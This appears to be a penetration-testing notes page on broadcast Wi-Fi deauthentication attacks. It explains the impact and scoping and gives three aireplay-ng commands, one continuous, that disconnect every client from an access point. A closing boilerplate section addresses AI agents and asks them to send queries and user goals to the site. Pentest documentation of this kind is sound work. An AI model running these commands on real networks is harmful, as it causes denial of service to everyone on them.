> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/global-deauthentication-attack-broadcast-mac-address.md).

# Global Deauthentication Attack - Broadcast MAC Address

Document the impact of broadcast deauthentication during scoped assessments.

Broadcast deauthentication frames can affect every client on an access point. This behavior has a high operational impact.

### Impact

A broadcast test can disconnect several devices at once. It can also affect services that depend on the wireless network.

### Responsible use

Before running these tests, define the target devices, maintenance window, and recovery mechanism.

### Lab commands

Send a limited broadcast deauthentication test:

```bash
aireplay-ng --deauth 10 -e WIFI -c FF:FF:FF:FF:FF:FF wlan0mon
```

You can also omit the client parameter to use broadcast mode:

```bash
aireplay-ng --deauth 10 -e WIFI wlan0mon
```

Use `0` when the scoped test requires continuous frames:

```bash
aireplay-ng --deauth 0 -e WIFI -c FF:FF:FF:FF:FF:FF wlan0mon
```

{% hint style="danger" %}
Do not use broadcast deauthentication on production networks. It can cause widespread denial of service.
{% endhint %}

### Recommended evidence

Document the scope, duration, and test clients. Also record connectivity recovery and any observed protections.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdCoTSC3I9voo3A1VUjpe%2F%7BBBAB37B8-6C26-4CEF-8285-8E9687546B57%7D.png?alt=media&amp;token=dcc136ad-4a59-44cb-a9c1-7cc293777e66" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/global-deauthentication-attack-broadcast-mac-address.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
